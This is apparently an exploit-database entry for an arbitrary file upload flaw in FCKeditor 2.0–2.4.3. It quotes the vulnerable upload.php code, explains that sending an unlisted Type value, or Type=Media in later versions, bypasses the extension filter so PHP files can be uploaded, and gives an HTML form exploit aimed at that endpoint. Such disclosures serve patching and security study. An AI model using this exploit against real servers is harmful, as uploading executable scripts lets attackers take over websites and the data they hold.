发布 2010-11-10 漏洞条目

FCKEditor Core 2.x 2.4.3 – ‘FileManager upload.php’ Arbitrary File Upload

Exploit Source

# Exploit Title: FCKeditor 2.0-2.4.3 arbitrary file upload

# Author: grabz

# Software Link: http://sourceforge.net/projects/fckeditor/

# Version: FCKeditor 2.x <= 2.4.3

# Tested on: 2.0, 2.2, 2.3.2, 2.4.0, 2.4.3

for version 2.0 - 2.2:

in file FCKeditor/editor/filemanager/upload/php/upload.php

#$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;

#// Get the allowed and denied extensions arrays.

#$arAllowed = $Config['AllowedExtensions'][$sType] ;

#$arDenied = $Config['DeniedExtensions'][$sType] ;

we can send as Type any text that not contained in (File, Flash, Image) and

then we can upload file with any extension like ".php"

for version 2.3.0 - 2.4.3:

in file FCKeditor/editor/filemanager/upload/php/upload.php

#$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;

#// Check if it is an allowed type.

#if ( !in_array( $sType, array('File','Image','Flash','Media') ) )

# SendResults( 1, '', '', 'Invalid type specified' ) ;

#// Get the allowed and denied extensions arrays.

#$arAllowed = $Config['AllowedExtensions'][$sType] ;

#$arDenied = $Config['DeniedExtensions'][$sType] ;

in this code we can see filter by Type, but in config.php

$Config['AllowedExtensions']['Media'] and

$Config['DeniedExtensions']['Media'] not exists))

if we send Type=Media, we can upload any file)

#Exploit

<form enctype="multipart/form-data" action="

http://localhost/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media"

method="post">

</form>

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